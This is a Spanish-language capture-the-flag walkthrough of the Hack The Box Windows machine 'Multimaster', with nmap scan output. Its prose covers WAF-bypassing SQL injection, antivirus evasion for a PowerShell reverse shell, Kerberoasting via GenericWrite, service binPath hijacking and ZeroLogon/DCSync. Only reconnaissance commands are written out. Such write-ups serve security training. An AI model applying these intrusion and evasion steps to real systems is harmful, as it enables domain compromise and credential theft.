arrow-left

Todas las páginas
gitbookCon tecnología de GitBook
1 de 6

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Insane

Multimaster

Multimaster es una máquina Windows de una dificultad increíble que presenta una aplicación web que es vulnerable a la inyección SQL. Esta vulnerabilidad se aprovecha para obtener un punto de apoyo en el servidor.

El examen del sistema de archivos revela que está instalada una versión vulnerable de VS Code y se encuentran procesos de VS Code ejecutándose en el servidor.Al explotar la función de depuración, se puede obtener un shell como el usuario cyork. Se encuentra una contraseña en una DLL, que debido a la reutilización de contraseñas, da como resultado un shell como sbauer.

Se descubre que este usuario tiene permisos GenericWrite sobre el usuario jorden. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. jorden es miembro del grupo Operadores de servidor, cuyos privilegios explotamos para obtener un shell de SISTEMA.

hashtag
Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Multimaster. Este resultado lo almacenaremos en un archivo llamado allPorts.

A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

A través de la herramienta de netexec y ldapsearch procederemos a enumerar el equipo para localizar más información. Entre la información obtenida, verificamos el hostname, versión del SO y el nombre del dominio.

Procederemos a añadir en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.

hashtag
Web Enumeration

Procederemos a realizar una enumeración sobre el sitio web que hemos encontrado expuesto en el puerto 80. La página principal al principal dispone de varias secciones que deberemos explorar para verificar

Una de las primeras acciones a realizar, será verificar las tecnologías y frameworks que utiliza la aplicación web, esto lo podremos realizar a través del Add-on de Wappalyzer. Entre la información recopilada, podemos verificar que hay un Windows Server como sistema operativo que levanta la aplicación web, utiliza un IIS (Internet Information Services).

Toda esta información hay que contrastarla con otras herramientas para verificar que la información sea válida.

Otra de las herramientas para verificar las tecnologías que utiliza una aplicación web es la herramienta de whatweb.

Revisaremos la página que hemos encontrado y en este caso al intentar iniciar sesión con credenciales por defecto nos indica que el Login se encuentra en mantenimiento en estos momentos y no se puede utilizar. Intentamos realizar la típica inyección SQL para verificar si es vulnerable el panel de Login, pero también recibimos el mismo mensaje de error.

Procederemos a revisar la página web de y verificamos que al parecer no hay al parecer ningún tipo de información, podríamos también intentar descargarnos las imágenes de esta galería en busca de información sensible en los metadatos, pero después de revisarlos tampoco van por aquí los tiros...

Al revisar el sitio web de revisamos que al parecer tiene un buscador el cual a medida del input que le introduzcas, el resultado que te muestra son correos electrónicos que posiblemente quedándonos con el nombre del usuario, sean usuarios válidos del dominio.

Enviaremos la solicitud al BurpSuite para analizar como funciona la solicitud que se realiza y la respuesta que se recibe. Verificamos que la respuesta que nos muestra se encuentra en formato JSON.

Por lo tanto, tenemos una vía potencial para enumerar usuarios que parecen formar parte del dominio.

hashtag
Enumerating users with Python script

Con la ayuda de hemos creado el siguiente script en Python que realizará solicitudes con un payload de la (A-Z) en busca de enumerar correos electrónicos que nos muestre la página web en la respuesta.

Le daremos permisos de ejecución al script creado y procederemos a ejecutarlo, verificamos que ha logrado encontrar los siguientes correos electrónicos en la página web. Estos correos electrónicos deberemos de guardarlo en un archivo por ejemplousers.txt.

Procederemos a trabajar con el archivo users.txt para solamente quedarnos con la parte del nombre de usuario que es lo que realmente nos interesa.

Dado que el DC dispone del puerto 88 (Kerberos) expuesto, podemos validar a través de la herramienta de kerbrute el listado de usuarios que disponemos actualmente para verificar cuáles de ellos son válidos a nivel de dominio.

En el resultado obtenido, verificamos que de los 17 usuarios que disponíamos solamente 14 usuarios son válidos a nivel de usuarios del dominio.

hashtag
SQL Injection

En la solicitud enviada en el BurpSuite, probamos de añadirle una ' a la query para verificar si es vulnerable a SQL Injection. Verificamos que en la respuesta por parte del servidor recibimos un mensaje de 403 - Forbidden: Access is denied.

Lo que podemos pensar es que detrás del servidor web se encuentra un WAF (Web Application Firewall) que posiblemente nos bloquee estos intentos de inyección SQL.

hashtag
Bypassing WAFs with JSON Unicode Escape Sequences

Realizando una investigación por Internet, nos encontramos con el siguiente blog que nos explica como intentar realizar un Bypass a las SQLI sobre los resultados JSON a través de realizar un encode de la inyección en formato Unicode Escape.

En este caso, utilizaremos Cyberchef de manera local para lograr mayor privacidad y no utilizar la versión web. Estableceremos que utilice el Escape Unicode Characters y le asignaré que realice el encode sobre '. Verificamos que el resultado obtenido del encode es --> \u0027.

Al enviar la solicitud con la ' encodeada, verificamos que no nos muestra un mensaje de Access Denied, en este caso simplemente desaparece el resultado de la respuesta por parte del servidor, lo cual podríamos llegar a intentar realizar la explotación del SQLI a través de encodear las inyecciones SQL en formato Escape Unicode Characters.

El primer paso a realizar en una inyeccción SQLI es determinar el número total de columnas que dispone la BBDD para posteriormente inyectar correctamente nuestros payloads.

Deberemos a partir de ahora, encodear toda nuestra inyección SQL en el formato anteriormente indicado para lograr realizar el Bypass del supuesto WAF que nos bloqueaba las inyecciones.

En este caso al intentar probar nuestra inyección para determinar si la BBDD dispone de 4 columnas, verificamos que el resultado que nos muestra es null, lo cual podemos verificar que el número de columnas no es correcto.

En intentar realizar la siguiente inyección SQL, verificamos que la BBDD dispone de 5 columnas en total y en la respuesta por parte del servidor nos muestra los números del 2 al 5, por lo tanto, podríamos llegar a inyectar nuestros payloads de SQLI en cualquiera de los campos mencionados.

Una de las primeras inyecciones a realizar, será lograr a determinar la versión exacta de la BBDD y el nombre de la base de datos que se está utilizando actualmente.

Por el resultado obtenido, verificamos que nos enfrentamos ante un Microsoft SQL Server (MSSQL) 2017 y la base de datos que está actualmente en uso se llamada Hub_DB.

A través de la siguiente inyección SQL, verificaremos el nombre de las bases de datos existentes en el servidor SQL. Verificamos que de las 5 BBDDs que hemos encontrado las cuatro primeras se tratan de BBDDs que vienen por defecto en MSSQL, en cambio, la BBDD nombrada Hub_DB no es una base de datos común, deberíamos investigar sobre esta misma.

Revisaremos los nombres de las tablas de la base de datos Hub_DB, en este caso verificamos que nos muestra dos tablas. De las dos tablas mencionadas, la que nos llama más la atención es la mencionada Logins.

Procederemos a investigar más sobre tabla Logins y verificaremos el nombre de las columnas que dispone esta table. En el resultado obtenido nos llama la atención las columnas existentes, parecen almacenar usuarios y contraseñas.

Al revisar las columnas username y password, verificamos que en la respuesta recibida por parte del servidor nos muestran usuarios y lo que parece ser contraseñas hasheadas que posteriormente podríamos intentar crackear.

Almacenaremos todo el resultado JSON obtenido para guardarlo en un archivo TXT. Trabajaremos con el archivo TXT para quedarnos con los nombres de usuarios y contraseñas y almacenarlos en dos archivos correspondientes.

Al revisar los hashes obtenidos, pensamos en primera instancia dada a la longitud del hash, parecía un tipo de hash SHA-384. Cuando ejecutamos hashcat con -m 10800 para SHA-384 con rockyou.txt, no se llegó a crackear nada.

Hay otros dos formatos en la página de hashes de ejemplo de Hashcat: SHA3-384 (-m 17500) y Keccak-384 (-m 17900). Cuando ejecutamos este último, obtuvimos los siguientes resultados:

Una vez obtenida esas 3 credenciales en texto plano, procederemos a realizar unPassword Spraying para validar si estas credenciales son válidas para el listado de usuarios del dominio que disponemos. Verificamos que en este caso, no obtenemos ningunas credenciales válidas.

hashtag
Active Directory Users enumeration of MSSQL Injection (mssqli-duet)

Buscando más información sobre maneras de explotar un MSSQL, nos encontramos con el siguiente blog que nos indica como podemos intentar explotar este servicio para enumerar usuarios del Active Directory (AD) a través de inyecciones SQL para enumerar usuarios a través del Relative ID (RID).

El primer paso a realizar para revisar si podemos explotar esta vulnerabilidad es buscar el nombre del domain (domain name). En el caso de que no conozcamos el nombre de dominio, a través de la siguiente inyección SQL podemos identificar el nombre del dominio. Tenemos que previamente haber determinado la cantidad de columnas, tipo de columnas y saber que es inyectable a SQLi.

Verificamos que al enviar la solicitud, nos proporciona que el domain name es MEGACORP.

El siguiente paso a realizar es averiguar el Security ID (SID) del dominio. Así que una vez obtenido el nombre del dominio, el siguiente paso será inyectar la siguiente consulta utilizando una cuenta o un grupo integrado conocidos (en este ejemplo se utiliza la cuenta del usuario Administrator) para obtener el valir del SID.

En este caso el formato que nos devuelve en la respuesta, es el SID en formato hexadecimal que posteriormente podremos descodificar para obtener el valor en texto plano.

Hemos creado el siguiente script en Python que lo que realiza es convertir el SID que se encuentra en hexadecimal en el texto original.

Al ejecutar el script y pasarle el SID en formato hexadecimal, nos devolverá el valor original del SID.

Siguiendo el contenido del blog sobre la enumeración de usuarios a través de ataques de RID Cycling Attack a través de inyecciones en MSSQL, nos proporciona la siguiente herramienta para explotar y enumerar a los usuarios a través del RID.

Deberemos de almacenar en un archivo la solicitud POST que se envía desde BurpSuite que la necesitaremos para utilizar la herramienta.

Procederemos a realizar la explotación con la herramienta de mssqli-duet.py, en ella deberemos de especificar el parámetro vulnerable, en nuestro caso name, estableceremos que la inyección sea a' la cual la codificaremos en unicode.

Utilizaremos el archivo request.txt que es el que contiene la solicitud POST que hemos guardado, especificaremos en este caso que haga el RID Cycling Attack del 1000 al 1200 y se realice las solicitudes cada 3 segundos para evitar ser detectados.

En el resultado obtenido verificamos que hemos logrado obtener a 4 usuarios más que forman parte del dominio.

hashtag
RID Enumeration on MSSQL Injection with Python script

También hemos creado el siguiente script en Python que cumple el mismo funcionamiento.

Al proceder a ejecutar el script creado, revisaremos que nos muestra nombres de usuarios y lo que parecen ser grupos de seguridad.

hashtag
Initial Access

hashtag
Password Spraying

Guardaremos estos nuevos usuarios en el archivo que disponíamos users.txt y procederemos a intentar validar nuevamente a través de Password Spraying. Verificamos que hemos logrado obtener credenciales válidas para el usuario tushikikatomo@megacorp.local.

hashtag
LDAP Enumeration (ldapdomaindump)

Al obtener credenciales válidas de un usuario del dominio, procederemos a realizar un dump del LDAP para obtener más información relevante.

Al revisar los archivos HTML generados por la herramienta de ldapdomaindump, verificamos todos los nombres de usuario del dominio existentes.

Por otro lado, revisando el grupo Remote Management Users, verificamos que el usuario que disponemos actualmente forma parte de dicho grupo, por lo tanto, si el servicio WinRM o RDP se encuentran habilitados podríamos conectarnos al equipo.

hashtag
Abusing WinRM - EvilWinRM

Procederemos a autenticarnos al WinRM mediante la herramienta de evil-winrm y verificamos el correcto acceso y la flag de user.txt.

hashtag
Lateral Movement to cyork user

Revisando los directorios donde está montado el IIS (Internet Information Services) verificamos que no disponemos de acceso al directorio wwwroot.

hashtag
CEF Debugging Background (CVE-2019-1414)

Revisando las aplicaciones que se encuentran instaladas, verificamos que en la máquina se encuentra instalado la aplicación de Microsoft Visual Studio Code.

Revisando la versión del Microsoft VS Code que se encuentra instalada en el equipo, verificamos que se trata de una versión vulnerable al Remote Code Execution (CVE-2019-1414).

Revisando los procesos que se encuentran en ejecución, verificamos que hay procesos sobre la aplicación en funcionamiento, por lo que podríamos llegar a pensar que hay alguien ejecutando estos procesos.

Esta es la descripción del CVE que hemos encontrado, se aprovecha del debug listener para lograr ejecutar comandos y escalar privilegios.

Por lo tanto, procederemos a descargarnos el binario de cefdebug.exe del siguiente repositorio de GitHub.

Una vez tengamos el binario en nuestro equipo atacante, procederemos a levantar un servidor web con Python para compartir este archivo al equipo víctima.

Desde el equipo víctima (Windows), procederemos a descargarnos el binario de cefdebug.exe y lo depositaremos en la siguiente ruta C:\Windows\System32\spool\drivers\color para que el AppLocker no nos impida ejecutarlo.

Por otro lado, lo que probaremos primero de todo es revisar si desde el equipo víctima nos podemos establecer una Reverse Shell con los scripts de Nishang. En este caso, el script que utilizaremos es el de Invoke-PowerShellTcp.ps1.

En una terminal de nuestro equipo atacante, nos pondremos en escucha para recibir la Reverse Shell.

Renombraremos el archivo Invoke-PowerShellTcp.ps1 a rev.ps1 para que nos sea más cómodo trabajar con este archivo y que pase más desapercibido por el AV (Antivirus).

Deberemos de editar el script y añadir al final de este mismo, la línea que nos permite realizar la Reverse Shell, la adaptaremos con nuestra dirección IP de atacante y el puerto por donde nos encontramos en escucha con nc.

Volveremos nuevamente a levantar un servidor web con Python para compartir este archivo con la máquina víctima.

Desde la máquina comprometida, procederemos a ejecutar en memoria la Reverse Shell que estamos compartiendo desde nuestro servidor web. Verificamos que el script ha sido detectado por el AV (Antivirus) y nos lo ha bloqueado.

Para intentar evitar que nos detecte el AV el script de la Reverse Shell, procederemos a modificar el archivo que disponemos rev.ps1para eliminarle las líneas donde hay comentarios y a modificar el nombre de la función para que no sea detectado. Deberemos de cambiar el nombre de la función de la primera y última sentencia por una nueva que pase desapercibida.

Una vez modificado el script rev.ps1, procederemos a ejecutar en memoria nuevamente el Script y en este caso verificamos que hemos logrado obtener la Reverse Shell correctamente.

Por otro lado, para que sea menos detectable la ejecución del IEX para obtener la Reverse Shell, lo que realizaremos es codificar en Base64 de Windows el comando utilizado.

Desde el equipo víctima, procederemos a ejecutar en una PowerShell el comando codificado en Base64.

Verificaremos nuevamente que nos funciona correctamente la ejecución del IEX codificado en Base64.

Una vez comprobado que podemos establecernos una Reverse Shell a través de un comando codificado en Base64, el siguiente paso será intentar realizar la explotación del CVE encontrado.

El primer paso será ejecutar el cef.exe (cefdebug) para realizar un escaneo de la máquina y verificar los servidores que se encuentran abiertos que parecen ser CEF debuggers.

Con el servidor obtenido, procederemos a realizar una ejecución del comando whoami para almacenar el resultado de la ejecución del comando realizado en un archivo TXT y visualizar si hemos logrado ejecutar comandos arbitrarios.

Al verificar el TXT que se nos ha generado, verificamos que el resultado del comando utilizado nos muestra que quien ejecuta el comando es el usuario cyork@megacorp.local.

Sabiendo que quien ejecuta los comandos es otro usuario, la idea será lograr ejecutar una Reverse Shell para obtener acceso como el usuario recién mencionado. Utilizaremos el servidor que hemos encontrado y al ejecutar en una PowerShell el comando IEX anteriormente codificado en Base64 para que a la hora de ejecutar el comando sea descodificado y así lograr obtener la Reverse Shell.

Previamente de la ejecución del comando, deberemos de ponernos en escucha con nc en nuestra Kali.

Verificamos que hemos logrado obtener acceso correctamente como el usuario cyork@megacorp.local.

hashtag
Lateral Movement to sbauer user

hashtag
MultimasterAPI.dll

Revisando los privilegios, permisos que disponemos con el usuario cyork, verificamos que disponemos acceso del directorio C:\inetpub\wwwroot\bin en la cual después de una gran revisión verificamos que al parecer hay un DLL nombrado MultimasterAPI.dll.

Este DLL se trata de una API (Application Programming Interface) personalizada de la página web del equipo. Como en máquinas de HTB anteriores, los archivos DLL suelen tener información sensible.

Para compartirnos este archivo de la máquina víctima a nuestra máquina local, desde esta última procederemos a levantar un servidor SMB con smbserver.py.

Al tener nuestro servidor SMB montado, procederemos a realizar una copia al servidor SMB que disponemos.

Verificamos en nuestro equipo local que disponemos del archivo DLL correctamente transferido.

hashtag
Debugging with dnSpy

Procederemos a depurar el archivo DLL a través de la herramienta de dnSpy que podemos encontrar en el siguiente repositorio de GitHub. En este caso, hemos transferido el archivo en una VM de Windows para realizar el análisis.

Al realizar una enumeración del DLL, revisamos que aparece en texto plano las siguientes credenciales D3veL0pM3nT!.

hashtag
Password Spraying

Al realizar un Password Spraying sobre la contraseña encontrada y el listado de usuarios del dominio que disponemos, verificamos que esta

hashtag
BloodHound Enumeration

A continuación, procederemos a realizar una enumeración del dominio entero a través de BloodHound. El siguiente comando nos creará un archivo .zip el cual contendrá toda la información del dominio. Lo que buscamos en realizar esta enumeración es buscar posibles vectores de ataque para escalar nuestros privilegios.

Revisando en BloodHound, verificamos que solamente el usuario Administrator es un Domain Admin.

Revisando si existe algún usuario que sea susceptible a Kerberoasting Attack, es decir, aquellos usuarios que tengan un SPN (ServicePrincipalName) para solicitar posteriormente un TGS (Ticket Granting Service).

En este caso, verificamos que no hay ningún usuario que sea Kerberostable.

Al verificar si algún usuario dispone de la flag (DONT_REQ_PREAUTH) de Kerberos para realizar un AS-REP Roast Attack y así lograr obtener un TGT (Ticket Granting Ticket), verificamos que ningún usuario tiene configurado esa opción.

Enumerando a través de BloodHound, verificamos que el usuario que disponemos actualmente sbauer@megacorp.local dispone de privilegios GenericWrite sobre el usuario jorden@megacorp.local.

Este permiso lo que nos permite es la habilidad de escribir en atributos no protegidos sobre el objeto objetivo. Por ejemplo, podemos asignarle la flag de (DONT_REQ_PREAUTH) para que el usuario objetivo sea susceptible al AS-REP Roast Attack o asignarle un SPN (ServicePrincipalName) fícticio para que el usuario sea Kerberostable y obtener el TGS (Ticket Granting Service) para obtener el hash y posteriormente crackearlo.

hashtag
Lateral Movement to jorden user

hashtag
Abusing GenericWrite privileges to assign an SPN for performing a Kerberoasting attack

En esta primera sección, lo que realizaremos es asignarle un SPN (ServicePrincipalName) ficticio al usuario objetivo jorden@megacorp.local para obtener el TGS (Ticket Granting Service), es decir, un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseña en texto plano.

hashtag
Antes de la explotación

Tal como habíamos verificado en la enumeración de BloodHound, no había ningún usuario que sea Kerberostable. Esto lo hemos podido comprobar nuevamente tal y como nos indica el resultado del ataque de Kerberoasting Attack realizado.

hashtag
Después de la explotación

Para realizar la explotación y abusar del privilegio GenericWrite sobre el usuario y asignarle un SPN ficticio, lo podremos hacer a través de las herramientas bloodyAD y impacket-GetUserSPNs.

A través del primer comando, lo que realizamos es asignarle un SPN (ServicePrincipalName) ficticio al usuario. Al volver a lanzar el ataque de Kerberoasting Attack, verificamos que ahora si nos aparece que haya un usuario Kerberoastable y nos devuelve el hash TGS (Ticket Granting Service).

Otra de las herramientas para realizar este tipo de ataques de asignar un SPN ficticio a un usuario el cual dispongamos de privilegios, es a través de la herramienta de targetedKerberoast.

Esta herramienta automatiza el ataque de Kerberoasting Attack, solamente nos hace falta disponer de un usuario que tenga privilegios sobre otro para asignarle el SPN y la propia herramienta buscará a los usuarios objetivos, les asignará un SPN ficticio y nos imprimirá los hashes obtenidos.

Para finalizar, la propia herramienta eliminará el SPN temporal asignado a los usuarios objetivos para evitar dejar rastro.

hashtag
Abusing GenericWrite privileges to set DONT_REQ_PREAUTH for AS-REP Roasting

En la siguiente sección, lo que realizaremos es asignar al usuario objetivo jorden@megacorp.local la flag (DONT_REQ_PREAUTH) de Kerberos para que sea susceptible a AS-REP Roast Attack para obtener un TGT (Ticket Granting Ticket). Es decir, si logramos asignarle esa opción al usuario, recibiremos un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseña en texto plano.

hashtag
Antes de la explotación

Tal como se nos indicaba en BloodHound, ninguno de los usuarios del dominio tenian asignado esa flag, eso lo hemos verificado nuevamente al realizar el ataque de AS-REP Roast Attack.

A través de la herramienta de bloodyAD procederemos a asignarle la flag de (DONT_REQ_PREAUTH) al usuario jorden@megacorp.local. Al asignarle esa flag y realizar nuevamente el ataque, verificamos que recibimos el hash TGT (Ticket Granting Ticket).

Procederemos a crackear con hashcat cualquiera de los dos hashes obtenidos TGT/TGS. Verifiamos que hemos logrado obtener la contraseña en texto plano.

Verificaremos nuevamente que las credenciales obtenidas sean válidas y que nos podamos conectar al equipo mediante evil-winrm ya que el usuario forma parte del grupo Remote Management Users.

hashtag
Privilege Escalation

Revisando los permiso/grupos del usuario que disponemos actualmente jorden@megacorp.local revisamos que el usuario foma parte del grupo SERVER OPERATORS@megacorp.local.

hashtag
Windows PrivEsc: Server Operator Group

El grupo Server Operators es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos específicos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo está diseñado principalmente para la administración delegada del servidor. Privilegios clave de los operadores de servidor

Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:

  • Iniciar y detener servicios:

    • Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resolución de problemas del servidor.

  • Administrar recursos compartidos:

Hemos conseguido más información de lo que trata esta escalada de privilegios desde el siguiente blog donde se detalla la explotación.

Desde el equipo procederemos a revisar los servicios que se encuentran en ejecución.

Después de revisar los servicios que se encuentran en ejecución, el siguiente paso será subir al equipo víctima el binario nc.exe para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath del servicio e indicarle que la ruta del servicio es la ejecución de una Reverse Shell utilizando el binario subido de nc.exe.

Verificamos que logramos modificar correctamente el binPath del servicio VMTools, también podemos utilizar el servicio browser.

En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.

Volveremos a la terminal del equipo víctima y procederemos a parar y volver a iniciar el servicio el cual hemos modificado el binPath para que ejecute la Reverse Shell.

Verificamos que al volver a iniciar el servicio, hemos logrado obtener conexión a través de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM, lo cual tenemos control total sobre el equipo.

hashtag
ZeroLogon Exploitation to performing DCSync Attack

Durante el análisis realizado, descubrimos que el Domain Controller es vulnerable al exploit ZeroLogon(CVE-2020-1472). Esta vulnerabilidad permite comprometer la seguridad del dominio y elevar privilegios al manipular las credenciales y las conexiones SMB.

Nos descargaremos el siguiente repositorio en nuestro equipo atacante para explotar la vulnerabilidad.

En el PoC del exploit de ZeroLogon, verificamos el uso de la herramienta.

Al realizar la explotación del CVE, lo que realiza esta vulnerabiliadd es dejar las credenciales del Domain Controller (DC) vacías.

Por lo tanto, al proceder a realizar un DCSync Attack con la cuenta del DC sin indicarle credenciales, obtenemos los hashes NTLM de todo el dominio.

Esto compromete gravemente la seguridad, debido que disponemos del acceso a cualquier usuario haciendo ataques como Pass-The-Hash.

Al realizar un dump del NTDS.dit, verificaremos que podemos realizar Pass-The-Hash con el usuario Administrator y conectarnos a través de la herramienta wmiexec.py.

Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.

  • Operaciones de copia de seguridad y restauración:

    • Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administración de los procesos de recuperación de datos.

  • Iniciar sesión localmente:

    • Los miembros tienen la capacidad de iniciar sesión localmente en el servidor, lo que les permite administrar directamente el servidor a través de su consola.

  • Administrar usuarios y grupos locales:

    • Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administración de usuarios.

  • extractPortsarrow-up-right
    http://localhostarrow-up-right
    http://10.10.10.179/#/loginarrow-up-right
    http://10.10.10.179/#/galleryarrow-up-right
    http://10.10.10.179/#/apparrow-up-right
    ChatGPT arrow-up-right
    ❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.179 -oG allPorts
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 14:03 CET
    Nmap scan report for 10.10.10.179
    Host is up (0.057s latency).
    Not shown: 65488 closed tcp ports (reset), 19 filtered tcp ports (no-response)
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    PORT      STATE SERVICE
    53/tcp    open  domain
    80/tcp    open  http
    88/tcp    open  kerberos-sec
    135/tcp   open  msrpc
    139/tcp   open  netbios-ssn
    389/tcp   open  ldap
    445/tcp   open  microsoft-ds
    464/tcp   open  kpasswd5
    593/tcp   open  http-rpc-epmap
    636/tcp   open  ldapssl
    1433/tcp  open  ms-sql-s
    3268/tcp  open  globalcatLDAP
    3269/tcp  open  globalcatLDAPssl
    3389/tcp  open  ms-wbt-server
    5985/tcp  open  wsman
    9389/tcp  open  adws
    47001/tcp open  winrm
    49664/tcp open  unknown
    49665/tcp open  unknown
    49666/tcp open  unknown
    49668/tcp open  unknown
    49671/tcp open  unknown
    49674/tcp open  unknown
    49675/tcp open  unknown
    49678/tcp open  unknown
    49688/tcp open  unknown
    49694/tcp open  unknown
    49703/tcp open  unknown
    
    Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds
    ❯ extractPorts allPorts
    
    [*] Extracting information...
    
    	[*] IP Address: 10.10.10.179
    	[*] Open ports: 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49678,49688,49694,49703
    
    [*] Ports copied to clipboard
    ❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49678,49688,49694,49703 10.10.10.179 -A -oN targeted -oX targetedXML
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 13:55 CET
    Nmap scan report for multimaster.megacorp.local (10.10.10.179)
    Host is up (0.074s latency).
    
    PORT      STATE  SERVICE       VERSION
    53/tcp    open   domain        Simple DNS Plus
    80/tcp    open   http          Microsoft IIS httpd 10.0
    |_http-title: MegaCorp
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-server-header: Microsoft-IIS/10.0
    88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-13 13:05:07Z)
    135/tcp   open   msrpc         Microsoft Windows RPC
    139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
    445/tcp   open   microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
    464/tcp   open   kpasswd5?
    593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp   open   tcpwrapped
    1433/tcp  open   ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
    | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
    | Not valid before: 2025-01-13T12:58:07
    |_Not valid after:  2055-01-13T12:58:07
    | ms-sql-info: 
    |   10.10.10.179:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2017 RTM
    |       number: 14.00.1000.00
    |       Product: Microsoft SQL Server 2017
    |       Service pack level: RTM
    |       Post-SP patches applied: false
    |_    TCP port: 1433
    | ms-sql-ntlm-info: 
    |   10.10.10.179:1433: 
    |     Target_Name: MEGACORP
    |     NetBIOS_Domain_Name: MEGACORP
    |     NetBIOS_Computer_Name: MULTIMASTER
    |     DNS_Domain_Name: MEGACORP.LOCAL
    |     DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
    |     DNS_Tree_Name: MEGACORP.LOCAL
    |_    Product_Version: 10.0.14393
    |_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
    3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
    3269/tcp  open   tcpwrapped
    3389/tcp  open   ms-wbt-server Microsoft Terminal Services
    | rdp-ntlm-info: 
    |   Target_Name: MEGACORP
    |   NetBIOS_Domain_Name: MEGACORP
    |   NetBIOS_Computer_Name: MULTIMASTER
    |   DNS_Domain_Name: MEGACORP.LOCAL
    |   DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
    |   DNS_Tree_Name: MEGACORP.LOCAL
    |   Product_Version: 10.0.14393
    |_  System_Time: 2025-01-13T13:06:05+00:00
    |_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
    | ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
    | Not valid before: 2025-01-12T12:57:31
    |_Not valid after:  2025-07-14T12:57:31
    5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
    9389/tcp  open   mc-nmf        .NET Message Framing
    47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
    49664/tcp open   msrpc         Microsoft Windows RPC
    49665/tcp open   msrpc         Microsoft Windows RPC
    49666/tcp open   msrpc         Microsoft Windows RPC
    49667/tcp closed unknown
    49671/tcp open   msrpc         Microsoft Windows RPC
    49674/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
    49675/tcp open   msrpc         Microsoft Windows RPC
    49678/tcp open   msrpc         Microsoft Windows RPC
    49688/tcp open   msrpc         Microsoft Windows RPC
    49694/tcp open   msrpc         Microsoft Windows RPC
    49703/tcp open   msrpc         Microsoft Windows RPC
    Device type: general purpose
    Running: Microsoft Windows 2016
    OS CPE: cpe:/o:microsoft:windows_server_2016
    OS details: Microsoft Windows Server 2016
    Network Distance: 2 hops
    Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    | smb-security-mode: 
    |   account_used: <blank>
    |   authentication_level: user
    |   challenge_response: supported
    |_  message_signing: required
    | smb-os-discovery: 
    |   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
    |   Computer name: MULTIMASTER
    |   NetBIOS computer name: MULTIMASTER\x00
    |   Domain name: MEGACORP.LOCAL
    |   Forest name: MEGACORP.LOCAL
    |   FQDN: MULTIMASTER.MEGACORP.LOCAL
    |_  System time: 2025-01-13T05:06:05-08:00
    | smb2-time: 
    |   date: 2025-01-13T13:06:08
    |_  start_date: 2025-01-13T12:57:40
    | smb2-security-mode: 
    |   3:1:1: 
    |_    Message signing enabled and required
    |_clock-skew: mean: 1h18m14s, deviation: 3h01m25s, median: 9m39s
    
    TRACEROUTE (using port 49667/tcp)
    HOP RTT       ADDRESS
    1   105.20 ms 10.10.16.1
    2   31.87 ms  multimaster.megacorp.local (10.10.10.179)
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 78.40 seconds
    ❯ xsltproc targetedXML > index.html
    
    ❯ python3 -m http.server 80
